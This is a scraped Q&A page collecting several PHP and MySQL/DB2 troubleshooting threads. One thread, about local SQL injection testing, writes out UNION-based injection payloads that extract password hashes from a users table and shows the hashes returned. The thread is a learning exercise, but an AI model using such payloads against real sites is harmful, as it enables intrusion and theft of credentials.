db2_fetch_assoc() fails midway through iterating over result set - php

I'm running on IBM i (an AS/400) V7R2, PHP v5.6.5, Zend Server v8.0.2.
I have a query which takes less than a second to execute from iNavigator. When I run the same query from a PHP script and then loop through it using:
$numRows = 0;
while ($row = db2_fetch_assoc($stmt))
{
//Do stuff
$numRows++;
}
echo $numRows++;
$numRows ends up only being a fraction of the expected result set and I get this error in the Zend logs:
PHP Warning: db2_fetch_assoc(): Fetch Failure in /path/to/script.php on line XXX
Note that the value of $numRows varies every time I run it. It is almost like it is timing out and ending before it can iterate through all of the result sets, but the page loads in seconds. Outside of results missing from the result set everything seems to function and load perfectly fine on the page.
Does anyone know what might be contributing to this behavior?

Is it possible that the data has errors? One possibility is decimal data errors.

#Buck Calabro got me on the right track. The issue wasn't decimal data errors but rather a sub-query in the view definition which was returning more than 1 row. So it was a "Result of select more than one row" error.
If I did a simple SELECT * FROM VIEW1 in iNavigator or PHP everything seemed to come up fine. It wasn't until I either ran the mentioned query in STRSQL or ran the view definition manually as if it weren't part of a view in iNavigator that the error would be reported.
To help future users here is basically what was happening.
TABLEA contains a single column with 10 rows.
I write a view such as this:
CREATE VIEW VIEWA (COL1, COL2, COL3)
AS SELECT 1, 2, (
SELECT * FROM TABLEA
);
The sub-select is returning 10 rows and the DB engine doesn't know how to handle it. If instead you add FETCH FIRST 1 ROW ONLY as part of the sub-query the error is fixed. That isn't to say logically you will get the correct results though, since you may need the 2nd row not the first. Second it would also be suggested you specify an ORDER BY and/or WHERE clause to ensure the first (and only) row returned would be what you want.

Related

Count returns wrong number of rows in Laravel/Lumen

I'm running two Laravel (front)/Lumen (api) applications that are using the same DB. (I'm aware that the seperation might not be ideal, but this is only for testing).
When I count the number of rows in each application the (front) returns 50000 (correct - when i query the db) rows and api returns 50001. Always one off.
I tried, when outputting, to count the number of rows to see if it was just the rowCount method that was wrong, but it does indeed output 50001 rows. With that many rows it difficult to see which row exactly is wrong.
I stumbled across this: Php PDO rowCount() return wrong result
I'm always running:
DB::connection()->getPdo()->prepare($query)
to get the rows.
And then originally:
result->rowCount
Changed to counting separately - as per suggestion:
$count = DB::connection()->getPdo()->query("SELECT count(*) AS cnt )->fetchColumn(0);
Then:
DB::table()->select()->count()
And lastly:
DB::table()->select('SELECT count(*) as cnt)->value('cnt')
But all returns exactly one row more. I'm also aware that they probably all fall back on PDO.
My first reaction was that it was a transaction, but I'm not using any, so only if there is something built-in by default in Lumen/Laravel?

Columns are not shown in PHP querty but are shown in the phpmyadmin interface for MariaDB

I wrote a simple PHP script to provide me some data, but I can't get all the columns to be shown ( as a JSON string), but in the PHPmyadmin frontend for the latest MariaDB all columns are shown. The interesting thing about this error is that through the same script another query (different POST variable value) shows all the expected columns. Also the order gets messed up in the first query.
My result in the PHP script:
{"id":"2","name":"it","mail":"john.doe#contoso.com","surname":"john"}
Expected result (also shown in Phpmyadmin as rows in the correct query order):
{"id":"2","name":"john","surname":"doe", "department":"it","mail":"john.doe#contoso.com"}
The order error I can fix with some dirty tricks (last option), but the columns are the real problem. Is there a column limit in MariaDB or/and PHP? I am not sure what to look for to resolve this error.
PS: I googled around and someone on the official MariaDB site says there is a 1000(I am using the same storage engine) column limit. I also checked
while($r = mysqli_fetch_assoc($sth))
{
$rows[] = $r;
}
and
while($r = mysqli_fetch_array($sth)){$rows[] = $r;}
The second option gives me everything I would like to receive, still it isn't the desired result because, everything is duplicated. The only lines after this loop are
echo json_encode($rows);
mysqli_close($link);?>
What the I and and the community discovered:
1.$rows[0] = $r; >>displays only one record, but still not in the correct format.
array_push($rows,$r); >> does not do the trick.
echo json_encode($rows[0]); and print_r($rows[0]) >> {"ID":"6","Name":"IT Department","Surname":"Doe","Email":"john.doe#contoso.com","‌​DeparmentRole":"Main‌​tanacei","Available"‌​:"Everyday from 8am to 17pm","Phone Number":"44 1206 256000","Office":"A1-Maitanance","CompanyRank":"standard employee"} and same for the print_r.
So a close observation did the trick. I created a two tables with the same column name. It is nothing wrong when we have two columns, but when we join them we can have a real mess, the original column has been overwritten by the joined one, what also explained, why the order was messed up.
So remember
Having two columns in tables that can "be on their own" is OK, but when joining them ALL columns MUST HAVE an UNIQUE name. What I do not understand, why the AS keyword failed to display it with an alias and took the regular column name.

Output won't display if it exists more than once in the DB

Alright so I'm testing with some SQLi on localhost and I stumbled upon a really wierd "error" that I've never seen before.
I'm trying to get information from a database called "game" with a table called "users" (15 columns)
Here's the first part of the table:
http://i.gyazo.com/7e6c81ef2b235a778dec1fd343e8c3bf.png
The hashes are "test" and "test1".
So I'll get the first hash with
'+union+select+concat(password),2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+game.users limit 0,1--+-
a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
Let's continue, we move to the other row with
'+union+select+concat(password),2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+game.users limit 1,1--+-
and it gets b444ac06613fc8d63795be9ad0beaf55011936ac
So everything's working correctly, HOWEVER if I would change the users hashes so they have the same as
http://i.gyazo.com/df1154a02cae5e5bbde04d7e47256899.png
then our second injection doesn't work anymore
'+union+select+concat(password),2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+game.users limit 1,1--+-
it returns nothing how and why is this possible and most importantly how would I fix this? I only want it to get 1 result at a time, not more.
I'm testing on a Windows 7 machine using Wamp.
The query being executed is
SELECT *
FROM users
WHERE id='-1'
UNION
SELECT concat(password),2,3,4,5,6,7,8,9,10,11,12,13,14,15
from game.users
limit 1,1
From MySQL Manual:
The default behavior for UNION is that duplicate rows are removed from the result.
http://dev.mysql.com/doc/refman/5.6/en/union.html
If you changed the password field to be the same for those two rows, then you will also two identical rows in the second part of the UNION that will be de-duped.
What you are doing however makes basically no sense. Why are you using CONCAT, but then not concatenating anything?
Also, why would you use an offset of 1 if you only wanted one row? I would think your offset should be 0 (i.e. LIMIT 0, 1).
Finally, why are you even doing this union to begin with?
What is probably happening is there is no record meeting the criteria of user id = -1 then because of the de-dupe, there is only one row returned in the pre-limit result set, which you are skipping over by specifying an offset of 1. Thus you get an empty result set.
Before when the password fields were different, you had two different rows in the pre-limit result set, thus there was a row at offset 1.

MySQL - INSERT into only if it's weekend

I'm trying to populate a table from another one only if the day is a weekend, but when i try to fetch my results into a php array, it says that i'm fetching a non-object, and this error began when i added my where clause that tries to pick only weekend days. If someone could take a look and correct me, my code is:
EDITed
$con->query("INSERT INTO eventos_dias SELECT DATE(inicio_periodo),'1','0','0','0' FROM eleva WHERE HOUR(inicio_periodo) BETWEEN 0 AND 6 AND WEEKDAY('inicio_periodo') BETWEEN 5 AND 6")
$query=$con->query("SELECT Data, Sum(0h_6h) as sum0_6,Sum(6h_12h),Sum(12h_18h),Sum(18h_24h) FROM evnetos_dias
GROUP BY Data
ORDER BY Data ASC")
while($row->$query->fetch(PDO::FETCH_ASSOC)) //this line contains the error
{
$dados0_6_fds[] = $row['sum0_6'];
}
Ideas are welcome too!
You can't have a WHERE in an INSERT query. Do your date filtering at the PHP level and simply don't run the query at all if it's the weekend:
if ($is_not_weekend);
$con->query('INSERT ...');
}
INSERT INTO eventos_dias(put the columns in here)
SELECT DATE(inicio_periodo),'1','0','0','0'
FROM eleva
WHERE HOUR(inicio_periodo) BETWEEN 0 AND 6
AND WEEKDAY('inicio_periodo') BETWEEN 5 AND 6
Always a good idea to develop your queries with a suitable tool until (and possible still after) you get the hang of sql.
are you sure that
while($row->$query->fetch(PDO::FETCH_ASSOC))
is correct? should it not be
while($row = $query->fetch(PDO::FETCH_ASSOC))
and for clarification (as I can't comment on anything but my own posts) that insert statement works fine, as the where clause is for the select.

How do PHP/MySQL database queries work exactly?

I have used MySQL a lot, but I always wondered exactly how does it work - when I get a positive result, where is the data stored exactly? For example, I write like this:
$sql = "SELECT * FROM TABLE";
$result = mysql_query($sql);
while ($row = mysql_fetch_object($result)) {
echo $row->column_name;
}
When a result is returned, I am assuming it's holding all the data results or does it return in a fragment and only returns where it is asked for, like $row->column_name?
Or does it really return every single row of data even if you only wanted one column in $result?
Also, if I paginate using LIMIT, does it hold THAT original (old) result even if the database is updated?
The details are implementation dependent but generally speaking, results are buffered. Executing a query against a database will return some result set. If it's sufficiently small all the results may be returned with the initial call or some might be and more results are returned as you iterate over the result object.
Think of the sequence this way:
You open a connection to the database;
There is possibly a second call to select a database or it might be done as part of (1);
That authentication and connection step is (at least) one round trip to the server (ignoring persistent connections);
You execute a query on the client;
That query is sent to the server;
The server has to determine how to execute the query;
If the server has previously executed the query the execution plan may still be in the query cache. If not a new plan must be created;
The server executes the query as given and returns a result to the client;
That result will contain some buffer of rows that is implementation dependent. It might be 100 rows or more or less. All columns are returned for each row;
As you fetch more rows eventually the client will ask the server for more rows. This may be when the client runs out or it may be done preemptively. Again this is implementation dependent.
The idea of all this is to minimize roundtrips to the server without sending back too much unnecessary data, which is why if you ask for a million rows you won't get them all back at once.
LIMIT clauses--or any clause in fact--will modify the result set.
Lastly, (7) is important because SELECT * FROM table WHERE a = 'foo' and SELECT * FROM table WHERE a = 'bar' are two different queries as far as the database optimizer is concerned so an execution plan must be determined for each separately. But a parameterized query (SELECT * FROM table WHERE a = :param) with different parameters is one query and only needs to be planned once (at least until it falls out of the query cache).
I think you are confusing the two types of variables you're dealing with, and neither answer really clarifies that so far.
$result is a MySQL result object. It does not "contain any rows." When you say $result = mysql_query($sql), MySQL executes the query, and knows what rows will match, but the data has not been transferred over to the PHP side. $result can be thought of as a pointer to a query that you asked MySQL to execute.
When you say $row = mysql_fetch_object($result), that's when PHP's MySQL interface retrieves a row for you. Only that row is put into $row (as a plain old PHP object, but you can use a different fetch function to ask for an associative array, or specific column(s) from each row.)
Rows may be buffered with the expectation that you will be retrieving all of the rows in a tight loop (which is usually the case), but in general, rows are retrieved when you ask for them with one of the mysql_fetch_* functions.
If you only want one column from the database, then you should SELECT that_column FROM .... Using a LIMIT clause is also a good idea whenever possible, because MySQL can usually perform significant optimizations if it knows that you only want a certain group of rows.
The first question can be answered by reading up on resources
Since you are SELECTing "*", every column is returned for each mysql_fetch_object call. Just look at print_r($row) to see.
In simple words the resource returned it like an ID that the MySQL library associate with other data. I think it is like the identification card in your wallet, it's just a number and some information but asociated with a lot of more information if you give it to the goverment, or your cell-phone company, etc.

Categories